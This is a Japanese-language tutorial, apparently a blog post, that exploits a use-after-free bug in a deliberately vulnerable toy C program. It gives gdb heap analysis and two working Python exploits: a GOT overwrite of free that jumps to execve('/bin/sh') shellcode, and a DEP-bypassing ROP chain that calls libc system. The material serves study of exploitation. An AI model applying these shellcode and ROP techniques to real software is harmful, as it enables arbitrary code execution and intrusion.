use-after-freeによるGOT overwriteをやってみる
ヒープ領域に関連する脆弱性には、ヒープオーバーフローのほかにuse-after-freeと呼ばれるものがある。 これは、意図しない条件分岐などから発生するプログラムの不整合により解放済みのヒープメモリアドレスが参照される状況が存在する場合、任意のコード実行が可能になるというものである。 ここでは簡単なプログラムを用い、use-after-freeによるシェル起動をやってみる。 また、DEPが有効な状況におけるシェル起動についても合わせてやってみる。
環境
Ubuntu 12.04 LTS 32bit版
$ uname -a Linux vm-ubuntu32 3.11.0-15-generic #25~precise1-Ubuntu SMP Thu Jan 30 17:42:40 UTC 2014 i686 i686 i386 GNU/Linux $ lsb_release -a No LSB modules are available. Distributor ID: Ubuntu Description: Ubuntu 12.04.4 LTS Release: 12.04 Codename: precise $ gcc --version gcc (Ubuntu/Linaro 4.6.3-1ubuntu5) 4.6.3
脆弱性のあるプログラムを用意する
まず、use-after-free脆弱性のあるプログラムコードを書く。
/* uaf.c */ #include <stdio.h> #include <stdlib.h> #include <string.h> struct Box { int size; char *buf; }; struct Box *create_box(int size) { struct Box *box; box = malloc(sizeof(struct Box)); box->size = size; box->buf = malloc(size); return box; } void free_box(struct Box *box) { free(box->buf); free(box); } int main(int argc, char *argv[]) { struct Box *box; int size; char *newbuf; box = create_box(100); printf("[+] box = %p\n", box); strncpy(box->buf, argv[1], 100); printf("[+] box->buf = %p\n", box->buf); free_box(box); size = atoi(argv[2]); newbuf = malloc(size); printf("[+] newbuf = %p\n", newbuf); strncpy(newbuf, argv[3], size); strncpy(box->buf, argv[4], 100); free(newbuf); return 0; }
このコードでは、free_box
関数内で解放されたbox->buf
が、strncpy関数により再度参照されている。
また、その間にサイズを自由に指定可能なnewbuf
が新たに確保され、任意のデータを書き込めるようになっている。
ASLR、DEP無効、SSP有効としてコンパイル・実行してみる。
$ sudo sysctl -w kernel.randomize_va_space=0 kernel.randomize_va_space = 0 $ gcc -z execstack uaf.c $ ./a.out AAAA 100 BBBB CCCC [+] box = 0x804b008 [+] box->buf = 0x804b018 [+] newbuf = 0x804b018
newbuf
のサイズを100としたとき、解放されたbox->buf
と同じアドレスにnewbuf
が確保されていることがわかる。
gdbでメモリの状態を調べてみる
次にnewbuf
のサイズを8に変え、gdbで動作を調べてみる。
$ gdb -q a.out Reading symbols from /home/user/tmp/a.out...(no debugging symbols found)...done. (gdb) set disassembly-flavor intel (gdb) r AAAABBBB 8 CCCCDDDD EEEEFFFF Starting program: /home/user/tmp/a.out AAAABBBB 8 CCCCDDDD EEEEFFFF [+] box = 0x804b008 [+] box->buf = 0x804b018 [+] newbuf = 0x804b008 Program received signal SIGSEGV, Segmentation fault. 0xb7eb1977 in ?? () from /lib/i386-linux-gnu/libc.so.6
newbuf
のサイズを8にすると、解放されたbox
と同じアドレスにnewbuf
が確保された後、セグメンテーション違反で落ちる。
このとき、newbuf
のサイズが解放されたbox
のサイズ以下であることから、newbuf
の領域としてbox
が置かれていた領域が再利用されている。
ヒープでどのようにメモリが割り当てられるかは確定的に決まるため、この結果は何回実行しても同じである。
main関数のどの部分で落ちているのか、さらに調べてみる。
(gdb) bt #0 0xb7eb1977 in ?? () from /lib/i386-linux-gnu/libc.so.6 #1 0x080485ef in main () (gdb) up #1 0x080485ef in main () (gdb) disas Dump of assembler code for function main: ... 0x080485db <+225>: mov DWORD PTR [esp+0x8],0x64 0x080485e3 <+233>: mov DWORD PTR [esp+0x4],edx 0x080485e7 <+237>: mov DWORD PTR [esp],eax 0x080485ea <+240>: call 0x80483d0 <strncpy@plt> => 0x080485ef <+245>: mov eax,DWORD PTR [esp+0x1c] 0x080485f3 <+249>: mov DWORD PTR [esp],eax 0x080485f6 <+252>: call 0x8048390 <free@plt> ... End of assembler dump. (gdb) x/4wx $esp 0xbffff710: 0x44444444 0xbffff921 0x00000064 0xb7e5c225 (gdb) x/s 0xbffff921 0xbffff921: "EEEEFFFF" (gdb) x/20wx 0x804b008 0x804b008: 0x43434343 0x44444444 0x00000000 0x00020ff1 0x804b018: 0x41414141 0x42424242 0x00000000 0x00000000 0x804b028: 0x00000000 0x00000000 0x00000000 0x00000000 0x804b038: 0x00000000 0x00000000 0x00000000 0x00000000 0x804b048: 0x00000000 0x00000000 0x00000000 0x00000000 (gdb) quit A debugging session is active. Inferior 1 [process 2598] will be killed. Quit anyway? (y or n) y
main関数におけるEIPの位置とスタックの状態から、strcpy関数で0x44444444 (DDDD) に "EEEEFFFF" を書き込もうとして落ちていることがわかる。
さらに、元々box
が置かれていたアドレス付近にあるメモリ内容を調べてみると、box->buf
を指すポインタが置かれていた箇所が新たに確保したnewbuf
で上書きされている。
この結果から、DDDDの代わりに書き込み先アドレス、EEEEFFFFの代わりに書き込みたい文字列をセットすることで、任意のアドレスのメモリ書き換えができることがわかる。
このように、あるサイズのメモリ領域が解放された後、そのサイズと同程度のメモリ領域を確保し続けると、そのうち同じ領域が再利用されることになる。 これを利用して、use-after-free脆弱性により解放済みメモリが参照される箇所を差し替えておくことで、任意のメモリアドレスの書き換えが可能になる場合がある。 また、freeした後解放済みのメモリアドレスを指しているポインタ変数はdangling pointerと呼ばれる。 dangleは「ぶらさがる」という意味である。
この攻撃を行うには、適当なタイミングで任意のサイズのバッファを新たに確保できる必要がある。 このような状況は、Webブラウザなどスクリプトエンジンを介してある程度自由にメモリの確保が行える場合において成立する。
エクスプロイトコードを書いてみる
上の内容をもとに、free関数のGOTアドレスを書き換えシェルコードを実行するエクスプロイトコードを書くと次のようになる。
# exploit.py import sys import struct from subprocess import Popen addr_box_buf = int(sys.argv[1], 16) # execve("/bin/sh", {"/bin/sh", NULL}, NULL) shellcode = '\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80' addr_got_free = 0x804a004 # objdump -d -j.plt a.out box_buf1 = shellcode size_newbuf = 8 newbuf = 'AAAA' newbuf += struct.pack('<I', addr_got_free) box_buf2 = struct.pack('<I', addr_box_buf) p = Popen(['./a.out', box_buf1, str(size_newbuf), newbuf, box_buf2]) p.wait()
このコードはシェルコードが置かれるbox->buf
のアドレスを引数に取る。
引数にアドレスをセットし、実行してみる。
$ python exploit.py 0x804b018 [+] box = 0x804b008 [+] box->buf = 0x804b018 [+] newbuf = 0x804b008 $ id uid=1000(user) gid=1000(user) groups=1000(user) $
free関数のGOTアドレスがシェルコードのアドレスに書き変わり、シェルが起動することが確認できた。
DEPを回避するエクスプロイトコードを書いてみる
次に、DEPが有効な状況においてROPによりシェルを起動するエクスプロイトコードを書いてみる。
GOT書き換え後のfree関数の第一引数はnewbuf
であり、ディスアセンブル結果も合わせて読むと関数呼び出し時eaxレジスタにはnewbuf
のアドレスが入っていることがわかる。
このときのメモリの状態を整理すると次のようになる。
0x804b008: 0xXXXXXXXX <- newbuf = eax 0x0804a004 (pointer of free in GOT table) 0x00000000 0x00020ff1 0x804b018: 0xYYYYYYYY <- box->buf 0xYYYYYYYY 0xYYYYYYYY 0xYYYYYYYY
これをもとに、xchg eax, esp
によるstack pivotを行った後、pop命令を3回実行しbox->bufのある位置までespを進め、そこからsystem関数を呼び出しシェルを起動するエクスプロイトコードを書くと次のようになる。
# exploit2.py import sys import struct from subprocess import Popen base_libc = int(sys.argv[1], 16) addr_got_free = 0x804a004 # objdump -d -j.plt a.out addr_libc_pivot_eax = base_libc + 0x9b8c9 # search "xchg esp,eax" by list_gadgets.py addr_libc_pop3ret = base_libc + 0xf3acf # search "pop" by list_gadgets.py addr_libc_system = base_libc + 0x0003f430 # nm -D /lib/i386-linux-gnu/libc.so.6 | grep " system" addr_libc_exit = base_libc + 0x00032fb0 # nm -D /lib/i386-linux-gnu/libc.so.6 | grep " exit" addr_libc_binsh = base_libc + 0x161d98 # strings -tx /lib/i386-linux-gnu/libc.so.6 | grep "/bin/sh" box_buf1 = struct.pack('<I', addr_libc_system) box_buf1 += struct.pack('<I', addr_libc_exit) box_buf1 += struct.pack('<I', addr_libc_binsh) size_newbuf = 8 newbuf = struct.pack('<I', addr_libc_pop3ret) newbuf += struct.pack('<I', addr_got_free) box_buf2 = struct.pack('<I', addr_libc_pivot_eax) p = Popen(['./a.out', box_buf1, str(size_newbuf), newbuf, box_buf2]) p.wait()
このコードはlibcのベースアドレスを引数に取る。
ASLR無効、DEP、SSP有効でコンパイルし直し、libcのベースアドレスをセットしてエクスプロイトコードを実行してみる。 ここで、libcのベースアドレスはgdbなどを利用して調べる。
$ gcc uaf.c $ python exploit.py 0x804b018 [+] box = 0x804b008 [+] box->buf = 0x804b018 [+] newbuf = 0x804b008 $ python exploit2.py 0xb7e29000 [+] box = 0x804b008 [+] box->buf = 0x804b018 [+] newbuf = 0x804b008 $ id uid=1000(user) gid=1000(user) groups=1000(user) $
DEPが有効な条件下で、シェルコードの実行が失敗すること、その一方でROPによるシェル起動ができていることが確認できた。